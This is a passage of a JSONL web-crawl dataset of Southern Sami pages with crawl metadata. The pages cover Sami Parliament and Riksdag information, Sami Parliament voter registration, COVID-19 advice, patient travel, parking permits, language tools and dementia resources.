sæjroe 1 ållesth 21 1 2 3 ... 20 21 Neste","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/gaavnh-barkijem\/?pageNumber=1","date":"2020-10-28T05:45:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107896778.71\/warc\/CC-MAIN-20201028044037-20201028074037-00238.warc.gz","language":"sma","language_score":0.6257808208,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.6257808208465576, \"sme_Latn_score\": 0.371440052986145}","num_words":100,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.915,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ligtsegem dejnie soptsestidh? Nov gujht tjirkedsh njoelkedassh gååvnesieh seamma goh magkeres raerie lea. Fierhten soptsesth tjuara åvtelbodtie gihtjedh jih man guehkiem. Akte rijhkebiejjielihtsege gie säjhta dåastodh naan jeatjebe lihtsegem dejnie soptsestidh. Tjuara voestegh baakoem gihtjedh. Gaajhkeh dah digkiedimmieh jih orreveeljemh mah tjiehtjelisnie åålmegidie rihpeldahkesne? Gaajhkeh dah digkiedimmie jih orregielh-veeljemh tjiehtjelisnie byjjes jih rihpeldahkesne åålmegidie. Datne jijtje maahtah tjiehtjelen tjåahkose goltelidh dehtie goltelth-lapteste jallh webb-tv`n tjirrh vuartasjidh. Tjåahkoen männgan maahtah buertietjaalegisnie lohkedh maam jeehtin jih guktie orregielh-veeljemidie sjidtin. Läs mer på svenska: Åhörarläktaren Debatter och beslut om förslag Kammarens protokoll Åadtjoem gyhtjelassh buektedh dej rijkebiejjielihtsegidie dehtie åålmegi lapteste? Ijje, dennie laptesne tjuerieh eevre sjeavods årrodh. Jis sijhth guhtjelassem buektedh naan lihtsegasse dellie tjoerh dam lihtsegem jeatjhligkie gaskesadtedh.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/riksdagen.se\/sma-SE\/sprak\/other-languages\/aarjelsaemien-sydsamiska\/digkiedimmie-jih-nannostimmie-rijhkebiejjesne\/","date":"2020-12-05T13:48:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00382.warc.gz","language":"sma","language_score":0.9997959733,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997959733009338}","num_words":116,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tåamma Bransfjell bovtsenbearkoem doekeminie daan våhkoen Tråantesne. Jih dïhte feejjene dïhte lea staaresne.\n– Gosse aejlegen böötim, dellie lij na luste bïjlesne tjahkasjidh jih vuejnedh gaajhkh saemieh gaptajgujmie. Jih fuehpesne lin edtjin dam orre filmem vuartasjidh, dïhte «Sameblod». Tuhtjem luste daesnie årrodh, jih gaptine lea fïerhten beajjetjen aate, Tåamma Bransfjell jeahta.\nStoerre deahpadimmie\nLea jijnje mij deahpede daan våhkoen. Måanta lij saemiej åålmegebiejjie, jih Tråanten Tåarje lij dïeves jih stoerre rïhpestimmie. Jih jååktan Ellinor Marita Jåma jih Laanteburrie- jih beapmoeministere Jon Georg Dale(Frp) utnigan jurjiehtæjjagaahtjeme, mij Jåma vitni.\nJih daelie datne maahtah «saemien beetnegigujmie» maeksedh.\nDah båetije biejjieh leah jïjnjh konseerth, vuesiehtimmieh jih vielie seminaarh. Datne maahtah daesnie abpe programmem vuejnedh: Tråante abpe våhkoem.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/www.nrk.no\/sapmi\/heevetimmievahkoe-traantesne-1.13367192","date":"2020-12-03T08:22:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141723602.80\/warc\/CC-MAIN-20201203062440-20201203092440-00535.warc.gz","language":"sma","language_score":0.9999246597,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999246597290039}","num_words":113,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luhpie Saemiedigkien tjaatsegidieNjoelkedassh luhpien bïjre tjaatsegidie vuartasjidh uvtemes byögkelesvoetelaakesne gååvnesieh. Åejvienjoelkedassi mietie aamhtesetjaatsegh byögkeles. Gaajhkh mijjen tjaatsegh leah dan åvteste byögkeles mah eah leah byögkelesvoeteste geerestamme, byögkelesvoetelaaken mietie. Gaajhkh prievieh jïh tjaatsegh mah mijjese båetieh, jïh gaajhkh tjaatsegh mejtie olkese seedtebe, edtjieh dan åvteste Saemiedigkien påastelæstose tjaalasovvedh. Ohtsh tjaatsegh Ohtsh aamhtesh Vuartesjh tjåanghkoetjaatsegh Påastelæstoe Raaktan daelie ij gåaredh aamhtesi mietie syökedh tjåanghkoetjaatseginie. Jis datne tjåanghkoetjaatsegh ohtsedh tjoerh sjyöhtehke moenehtsem jïh tjåanghkoem veeljedh. Dellie sïjhth bijjieguvviem åadtjodh aamhtesi bijjeli mah lin tjåanghkosne, jïh tjåanghkoegærjam tjåanghkoste. Gosse åhtsa dellie raaktan daelie ajve illedahkh mijjen påastelæstoste båetieh. Amma mijjen tjaatsegh mah sïjse jïh olkese båetieh. Gosse påastelæstosne syökoe maahta ajve dan sjyöhtehke daatosne syökedh maam veeljeme, gosse aamhtesinie syökoe dellie illedahkh våarhkoeaamhtesinie sjidtieh (maabpah). Jis datne aktegstjaatsegh sïjhth juvnehtibie tjaatsegi mietie syökedh - daesnie illedahke sæjhta mijjen tjaatsegh årrodh mah sïjse jïh olkese båetieh. Påastelæstoem jïh tjaatsegh bæjhkoehtibie golme barkoebiejjiej mænngan, jïh sijhtieh nedtesne årrodh göökte jaepieh. Tjåanghkoeaamhtesh sijhtieh iktesth gååvnesidh. Gaajhkesh maehtieh luhpiem krïevedh aamhtesetjaatsegh jïh journaalh vuejnedh. Seedth gyhtjelassh luhpien bïjre diekie: firstname.lastname@example.org jallh ringkh tell. +47 78 47 40 00.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/luhpie-saemiedigkien-tjaatsegidie\/","date":"2020-12-02T09:11:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141706569.64\/warc\/CC-MAIN-20201202083021-20201202113021-00030.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":174,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maja Kristine Jåma jïh Silje Karine MuotkaProsjekte edtja daajroem åehpies darjodh åarjelsaemien kultuvrebyjresi jïh histovriji bïjre dajvesne. Edtja aaj saemien gïelem jïh aerpievuekien gïeleåtnoem våajnoes darjodh. Ulmie lea baajedh almetjh buerebelaakan daej dajvigujmie åahpenidh goh saemien kultuvrebyjresh, guktie daate daajroe maahta våaroeminie åtnasovvedh båetijen aejkien evtiedimmesne.\n– Daate lea gieltege prosjekte dan åvteste aajkojne åtna mearoegaedtie- jïh vaeriedajvide viertiestidh gosse lea daajroen bïjre, saemiedigkieraerie Silje Karine Muotka (NSR) jeahta.\nSaemiedigkie aaj voestes bieliem prosjekteste dåarjoeji, Beavnardahke I, 2018. Prosjekte illedahkine åadtjoeji nedtesæjroe baalka.se\/no gusnie bijjieguvviem åarjelsaemien kultuvren jïh histovrijen bijjeli gaavna tïjje doekoe – saemien kultuvremojhtesh nedtesne.\nBeavnardahkesne II jarngesne åtna saemiej histovrijem jïh kultuvremojhtesidie sïjse tjöönghkedh jïh systeemen mietie öörnedh, dovne histovrijem arrahsaemiej bïjre mah årroejin jïh\/jallh årroeminie mearoegaedtiedajvine Södra Norrland jïh Trööndelage, men aaj histovrijem dej bïjre mah såemiesmearan stuerebe dajvi bijjeli juhtin mearoegaedtie- jïh sislaanten gaskem.\n– Arrahsaemiej histovrije mearoegaedtiem lea ånnetji ovnohkens histovrije abpe seabradahkesne, dovne regijonaale jïh nasjonaale. Prosjekte gusnie dej soptsese jïh kultuvre jïh kultuvremojhtesh vielie våajnoes sjidtieh sæjhta stoerre seabradahkenåhtoem utnedh dovne saemien årroejidie jïh jeatjah årroejidie, Muotka jeahta.\nAkte histovrije maam almetjh eah mahte damth daan biejjien, lea 1900-låhkoen aalkoelisnie lij jienebh joekehts saemien dåehkieh Saepmien åarjemes dajvine. Lissine båatsoesaemide, lij aaj skåajjesaemieh jïh mearoesaemieh mah joekehtslaakan jieliemassem göölemistie, vijremistie jïh bivtiemistie åadtjoejin, jïh aaj ohtje jåartaburreste, åesiestimmeste jïh goh vytnesjæjjah.\n– Daerpies saemien histovrijem jïh saemiej baeliem daejnie dajvine åehpies darjodh. Prosjekte sæjhta viehkiehtidh dam saemien våajnoes darjodh jïh vihkeles daajroem mijjen ektie histovrijen bïjre geerjehtidh, politihkeles raeriestæjja Maja Kristine Jåma (NSR) jeahta.\nJis vielie bïevnesh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Silje Karine Muotka (NSR), tell. + 47 984 87 576 jallh e-påaste: email@example.com","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/sametinget.no\/saernieh\/samis-by-the-coast-aarjelsaemien-kultuvre-eatnemem-vaajnoes-darjodh.8680.aspx","date":"2021-01-18T23:05:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703517159.7\/warc\/CC-MAIN-20210118220236-20210119010236-00426.warc.gz","language":"sma","language_score":0.9999867678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999867677688599}","num_words":263,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vibeke Persen\n21 jaepie, Deatnu\nMov nomme Vibeke Persen jïh manne 21 jaepien båeries. Manne voenesne byjjenamme man nomme Holmesund Deatnusne. Eatnemen lïhke årrodh lea joekoen vihkeles orreme mov tråjjen gaavhtan, juktie lyjhkem jïjnjem ålkone årrodh, dovne vaarremegaamegigujmie…Lohkh vielie\nElle Rávdná Näkkäläjärvi\n20 jaepie, Guovdageaidnu\nMov nomme Elle Rávdná Näkkäläjärvi jïh manne 19 jaepien båeries, jïh Guovdageaidnuste jïh Leammiste båatam. Leammisne, soemen bielesne manne båatsoefualhkan govlesovvem, jïh Guovdageaidnusne manne \"dalon\"-fualhkan govlesovvem,…Lohkh vielie\nMirja Cicilia Andersson Renander\n19 jaepie, Rennebu\nMov nomme Mirja Cicilia Andersson Renander jïh manne 18 jaepien båeries. Manne onne voeneste båatam man nomme Nerskogen, Rennebu tjïeltesne Trööndelagesne. Juelkietjengkere iktesth mov stoerre ïedtje orreme, jïh dan åvteste gaarsjelimmielinjam…Lohkh vielie\nLemet Johanas Nystad\n22 jaepie, Kárášjohka\nMov nomme Lemet Johanas Nystad jïh leam 21 jaepien båeries. Manne reakadamme jïh byjjenamme Kárásjohkesne, men leam Lillehammerisnie orreme gusnie Nöörjen toppidrettsgymnasesne veedtsim jïh uvtemes treavkanjulhtjeminie gïehtelim. Lissine Romsesne…Lohkh vielie","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/samiskeveivisere.no\/sma\/daan-jaepien-tsieglh\/","date":"2021-01-24T08:49:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703547475.44\/warc\/CC-MAIN-20210124075754-20210124105754-00352.warc.gz","language":"sma","language_score":0.9979703426,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9979703426361084}","num_words":139,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 23 november 2020\nTjaatsestimmiereaktah jïh tjaatsestimmielåhkoe\nGaajhkh gïeh sijhtieh veeljemem Saemiedægkan tjaatsestidh tjuerieh tjaatsestimmielåhkose tjaalasovveme. Daesnie åadtjoeh daejredh guktie lea.\nGie åådtje veeljemisnie Saemiedægkan tjaatsestidh?\nSuehpeden 16.b. 2021 lea veeljeme Saemiedægkan. Jis veeljemisnie tjaatsestidh tjoerh meatan årrodh tjaatsestimmielåhkosne. Tjaatsestimmielåhkoe lea læstoe gusnie gaajhkh gïeh tjaatsestimmiereaktam utnieh jïh åadtjoeh tjaatsestidh.\nGuktie manne tjaatsestimmielåhkose tjaalasåvva?\nGuktie meatan sjïdtedh tjaatsestimmielåhkose tjoerh naan kriterijh dievhtedh. Jis datne dejtie kriterijidie dievhtedh tjoerh bæjhkoehtimmiem seedtedh datne sïjhth meatan årrodh tjaatsestimmielåhkosne.\nBæjhkoehtimmie tjuara Saemiedægkan seejnemes golken 20.b. 2020 båateme.\nJis datne joe tjaatsestimmielåhkosne ih daarpesjh viht bæjhkoehtidh.\nKriterijh guktie åådtje meatan tjaatsestimmielåhkosne\n- Datne sveerjen jallh ålkoelaanten årroje.\n- Datne leah saemie, sjïere kriteriji mietie, jïh\n- 18 jaepieh illeme seejnemes veeljemebiejjesne.\n- Jis datne ålkoelaanten årroje tjoerh Sveerjesne tjaalasovveme unnemes dej golme minngemes jaepieh.\nKriterijh guktie saemine årrodh veeljemisnie\n- Datne edtjh mïeledh datne saemie, jïh aaj aktem dejstie:\n- Datne gåetesne saemestem jallh saemiestim, jallh\n- Naan dov eejhtegistie, aahka goh aajjijste gåetesne saemiestieh jallh saemiestin, jallh\n- Dov eejhtege meatan Saemiedigkien tjaatsestimmielåhkosne.\nAnnjebodts jïh minngemes tjaatsestimmielåhkoe\nTjaatsestimmielåhkoe göökte daltesi mietie nænnoestidh. Akte annjebodts jïh akte minngemes tjaatsestimmielåhkoe.\nSaemiedigkien veeljememoenehtse nænnoste aktem annjebodts tjaatsestimmielåhkoem minngemes rahkan 15.b. 2020. Dïhte edtja gååvnesidh ovmessie sijjine laantesne dejtie gïeh sijhtieh dam vuejnedh.\nMaahta annjebodts tjaatsestimmielåhkoem klååkedh.\nAnnjebodts tjaatestestimmielåhkoem klååkedh\n- dïhte gie bæjhkoehtamme mohte ij leah meatan\n- dïhte gie meatan annjebodts tjaatsestimmielåhkosne jïh sæjhta klååkedh naan mubpie leah tjaalasovveme.\nKlååkeme edtja Leeneståvrose Norrbottenen leenesne båateme seejnemes goeven 15.b. 2020.\nKlååkemem gïetede byjjes tjåanghkosne Leeneståvrosne Norrbottenen leenesne goevten 15.b. 2021.\nDah moenemh mah leeneståvroe muana klååkemen bïjre ij maehtieh viht klååkedh.\nMinngemes tjaatsestimmielåhkoe\nSaemiedigkien veeljememoenehtse minngemes tjaatsestimmielåhkoem nænnoste seejnemes njoktjen 1.b. 2021. Minngemes tjaatsestimmielåhkosne gaajhkh meatan gïeh åadtjoeh veeljemisnie tjaatsestidh.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.val.se\/val-och-folkomrostningar\/saemiedigkie-sydsamiska\/tjaatsestimmiereaktah-jih-tjaatsestimmielahkoe.html","date":"2021-01-25T01:31:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703561996.72\/warc\/CC-MAIN-20210124235054-20210125025054-00256.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":264,"character_repetition_ratio":0.155,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Obs! Detta val innebär att du inte ser regionalt innehåll och viktig information som gäller just din region.\nBesök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nCovid-19 lea laanestimmien skïemtjelasse. Vaksinasjovne lea bööremes vuekie guktie ij itjmies skïemtjine sjïdth vuj skïemtjelasseste jaemieh. Vaksinasjovne maahta aaj viehkine årrodh guktie laanestimmie vaenede sïebredahkesne. Dïhte dan gaavhtan vihkeles gellie almetjh veeljieh vaksijnem vaeltedh.\nDenna webbplats använder cookies för att ge alla besökare ökad funktionalitet och service. Läs mer om cookies.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.1177.se\/sma-se\/other-languages\/other-languages\/covid-19\/","date":"2021-03-07T08:21:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178376206.84\/warc\/CC-MAIN-20210307074942-20210307104942-00316.warc.gz","language":"sma","language_score":0.9392806292,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.93928062915802, \"swe_Latn_score\": 0.054068148136138916}","num_words":80,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.945,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NJOELKEDASSH JÏH REAKTAH\nMaaksoe skïemtjefeeleminieSjukresor - sydsamiskaThe content concerns Västerbotten\nSkïemtjefeeleme lea feeleme dov gåetien jïh hoksevedtijen gaskem. Maahtah vuesiehtimmie årrodh jis datne mïnneme dåakteren, baeniedåakteren, kuratovren, skïemtjevïtnesjæjjan jallh fysioterapeuten luvnie. Datne maahtah bussine, tåågine jallh jïjtje bïjline vuelkedh. Dov jïjtje dïedtem dov soejkesjamme mïnneminie mïnnedh. Jis datne healsoesjïeki gaavhtan ih maehtieh ektievalkesinie jallh jïjtje bïjline vuelkedh maahtah reaktam utnedh skïemtjefeelemasse taksine. Dellie daarpesjh vihtiestimmiem hoksevedtiejistie.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/sjukresor---andra-sprak---vasterbotten\/","date":"2021-04-17T06:03:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038101485.44\/warc\/CC-MAIN-20210417041730-20210417071730-00039.warc.gz","language":"sma","language_score":0.9999853373,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999853372573853}","num_words":65,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2018\nFormaate\nApp\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nStoeredahke\n9- 19.2 MB\nViehkiebaakoe\nAppen leah bijjelen 30.000 baakoeh noerhtesaemiengïelesne.\nMaahtah baakoej mietie ohtsedidh jallh baakoen aalkoven mietie, dellie illeldahkh åadtjoeh mah dov ohtsemasse sjeahta. Jis vielie illeldahkh åadtjoeh jïh ij naan sijjie, dellie maahtah bæjjese swipedh jïh dellie vielie illeldahkh vuajnah.\nGiellatekno appem dorjeme jïh appe lea namhtah jïh gaahpode gaaltijh åtna. Giellatekno lea UiT, Nöörjen artihken universiteeten, saemien gïeleteknologijen dåehkie.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_samisk-ordbok","date":"2021-05-17T18:23:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243992440.69\/warc\/CC-MAIN-20210517180757-20210517210757-00321.warc.gz","language":"sma","language_score":0.99999547,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999954700469971}","num_words":70,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Utnieh gåhkoem\nUtnieh gåhkoem mubpide dovne gåetiej sisnie jïh ålkone, jïh aellieh årroeh gusnie jïjnjh almetjh.\nRåajvarimmieh faamosne gaajhkene tsiehkine jïh dah sijhtieh jiehtedh vuesiehtimmien gaavhtan datne edtjh oktegh åesiestidh, aellieh sosijaale gaavnesjimmine årroeh bielelen lïhkemes almetjidie, barkh gåetesne jïh aellieh kollektijvevalkesinie vuelkieh jis ih daarpesjh feeledh.\nÅrroeh gåetesne jïh teestem vaeltieh jïlhts dov leah lijnies vaejvieh\nMaanah jïh geerve almetjh gïeh skïemtjes demtieh edtjieh gåetesne årrodh barkoste, skuvleste, aarhskuvleste jïh jeatjah darjoemistie. Daate faamosne aaj jis dov lijnies vaejvieh. Datne edtjh aaj teestem vaeltedh jïh aellieh mubpide gaavnedh.\nBarkh gåetesne\nFolkhälsomyndigheten raereste gaajhkh gïeh maehtieh edtjieh gåetesne barkedh. Soptsestellieh dov barkoevedtiejinie nuepiej bïjre gåetesne barkedh. Dïhte vihkeles barkoevedtije dïedtem vaalta barkoebyjresen åvteste aaj gosse gåetesne barkh.\nGaavnedidie vaenebe almetjidie, aellieh lïhke gaskesh utnieh\nVaahra covid-19:m åadtjodh, jïh suetiem vijrebe geerjehtidh, jeanene dan mietie jis jienebe almetjh gaavnedh. Gaertjedh dov lïhke gaskesh jïh ajve dejtie datne ektesne årroeh vuj naakenh vaenieh voelph vuj lïhkes almetjh gaavnedidh.\nJis gåarede maehtede ålkone gaavnedidh, jïh utnieh gåhkoem mubpide.\nVaksineerh datnem gosse nuepiem åadtjoeh\nVaksinasjovne vaahram vaenede guktie covid 19:ste itjimies skïemtjedidh vuj jaemedh. Gaajhkh båarasåbpoe 18 jaepeste åadtjoeh vaksijnasjovne-faalenassem. Folkhälsomyndigheten webbsijjesne bïevnesh gååvnesieh vaksijnasjovnen bïjre. Dïhte jïjtjevyljehke jis sïjhth vaksineeredh mohte Folkhälsomyndigheten raereste datne gie maahtah, edtjh vaksijnasjovnese jååhkesjidh. 1177.se:sne maahtah lohkedh guktie vaksijnasjovnem öörnie gusnie datne årroeh.\nBïssh gïetide daamtaj\nLaanestimmieiebnh aelhkieslaakan gïetide dabranieh. Dah maehtieh vijrebe geerjehtidh gosse datne vuesiehtimmien gaavhtan gïetine buarastahtah. Bïssh dan gaavhtan gïetide daamaj jïh veelelaakan tjoeline jïh baahkes tjaetsine, unnemes 20 sekundh.\nBïssh gïetide eejnegen gosse datne:\n- gåatan båatah vuj gosse dov barkose båatah\n- ålkone orreme\n- beapmoej åvtelen\n- beapmoem gïetedh\n- onnegåetesne orreme\nGïetesprïjhte (vuj seammaleejns gïetedesinfeksjovne) maahta alternatijve årrodh jis ih maehtieh gïetide bïssedh.\nAellieh tjelmide, njueniem jïh njaelmiem doehtehth guktie ij suetie dov njevlieskïelti gåajkoe båetieh. Dïhte aaj vihkeles gossehtidh jïh gesnestidh gïetegaavese vuj paehperenjaamelijnese.\nDåemedh eejnegen laanestimmievihties\nDatne tjoerh darjodh maam maahtah darjodh guktie datnem jïh mubpide covid-19:n geerjehtimmien vööste. Datne edtjh jïjtje ussjedidh guktie maahtah dåemiedidh guktie ih sjïdth laanestidh, guktie gåhkoem höölth jïh guktie maahtah dåemiedidh guktie ih mubpide laanesth. Datne edtjh mubpide krööhkestidh. Sjïere vihkeles almetjidie vaahradåehkine.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/fohm.se\/smittskydd-beredskap\/utbrott\/aktuella-utbrott\/covid-19\/om-covid-19-pa-olika-sprak\/sydsamiska\/","date":"2021-06-20T19:12:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488253106.51\/warc\/CC-MAIN-20210620175043-20210620205043-00550.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":344,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Divvunen bïjre\nDivvun-dïrregi bïjre\nSaemiedigkien prosjekten åelesne leah Divvun-dïrregh dorjesovveme daejnie göökte prosjektine. Prosjekte lea beetneh-vierhtieh åådtjeme Saemiedigkeste, Orrestehteme-,Reereme- jïh Gærhkoedepartementeste jïh Maahtoedepartementeste jïh ulmie lij tjaelemeprogrammh darjodh duejtie sïejhmemes kontovreprogrammide mah lea dejnie golme stööremes operativsysteminie. (Linux, MacOS X jïh Windows).\nDivvun I (noerhte- jïh luvlesaemien) lij 2004 raejeste 2007 raajan, jïh Divvun II (åarjelsaemien) 2008 raejeste 2010 raajan. 2011 raejeste prosjekte vihties barkojne Tromsøen Universiteeten åelesne sjædta jïh galka dellie evtiedidh saemien gïeleteknologijem jïh praktihkeles viehkievierhtieh darjodh Saemien gïeleteknologijejarngine ektesne. Divvun er finansiert av KMD.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/divvun.no\/sma\/about\/about_divvun.html","date":"2021-07-30T04:43:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153931.11\/warc\/CC-MAIN-20210730025356-20210730055356-00193.warc.gz","language":"sma","language_score":0.9997472167,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9997472167015076}","num_words":82,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.195,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjöödtjestimmieluhpie lea sjïere luhpie geajnosne tjöödtjestidh, byjres trafihkenjoelkedassijste, dejtie gieh eah maehtieh jallh lea dåeriesmoerh vaedtsedh. Tjöödtjestimmieluhpie ij ajve reaktam vadtah sjïere tjöödtjestimmiesijjide tjöödtjestidh, dïhte aaj guhkebem tjöödtjestimmietïjjem vadta jïh reakta tjöödtjestidh gusnie ij leah luhpie tjöödtjestidh. Daamtaj aaj ij daarpesjh åesiem maeksedh.\nBijlevuajaje gien svihtjeme-heaptoje, stoerre dåeriesmoerh vaedtsedh jïh geerve bijlese bijleste svihtjedh vaadtsemegåhkoem tjöödtjemesijjeste maahta luhpiem åadtjodh.\nPassagerijidie luhpiem ajve muvhth aejkien vadta, v.g. geerve svihtjeme-heaptomem jallh stuvremh, n.s.j. jis ij maehtieh ohtsijem oktegh assistansehts baetsedh mearan vuajije tjöödtjeste. Vuajaje, gie lea svihtjeme-heaptojh bijlesne åådtje njoelkedassij mietie trafihkenjoelkedassesne, åådtje tjöödtjestidh gusnie luhpehts tjöödtjestidh. Ajve dam åådtje darjodh jis sjïere jearsoes-laakan jïh jis dam krievie. Tjöödtjestimmie ij guhkiem goh daerpies bijlen sistie- jïh sijse svihtjedh jïh daarpoe assistansine bijlen ålkoelisnie.\nSojkesjem veedtjh\nSoejkesjem sveerjen gïelesne. Maahta dïsse dievhtedh, mohte eah dah bieleh maam dov dåaktere edtja dievhtedh.\nGunilla Jonsson, luhpieh geajnoeh jïh såafoesijjieh, telefovne 090-16 13 66.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/sosiaalenhoksehtimmieh\/tjoodtjestimmieluhpiesvihtjemeheaptojidie.4.333c64e217718860a231143.html","date":"2021-07-27T09:40:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153223.30\/warc\/CC-MAIN-20210727072531-20210727102531-00524.warc.gz","language":"sma","language_score":0.999945879,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999945878982544}","num_words":145,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nyheter\nI samarbeid med Nordens velferdssenter relanseres nå Aldring og helses film Åpenhet om demens fra et samisk perspektiv i redigert svensk og finsk…\n6. februar er samenes nasjonaldag. Gratulerer så mye med dagen!\nI slutten av september ble den sørsamiske høstfestivalen Tjaktjen Tjåanghkoe arrangert for sjette gang på Snåsa med søkelys på sørsamisk…\nGïele jïh kulturelle maadtoe joekoen vihkeles båehtjierdimmesne demenseste. Dan åvteste bïevnesh jïh dïrregh saemien gïeline tjöönghkebe daejtie sæjrojde.\nProsjekte Aldring og helse, laavenjostosne jeatjah vierhtieinstaansigujmie, bïevnesh jïh dïrregh evtedeminie jïh sjïehtedeminie mah leah stuvreme almetji vööste mej saemien gïele- jïh kultuvremaadtoe. Healsoedirektoraate lea barkoem dåårjeme jïh akte bielie Demensesoejkesjistie 2020.\nBïeljelh maaje materijellen bïjre mah leah evtiesovveme desnie gusnie datne barkh, jïh maam datne sïjhth mubpiejgujmie juekedh daennie 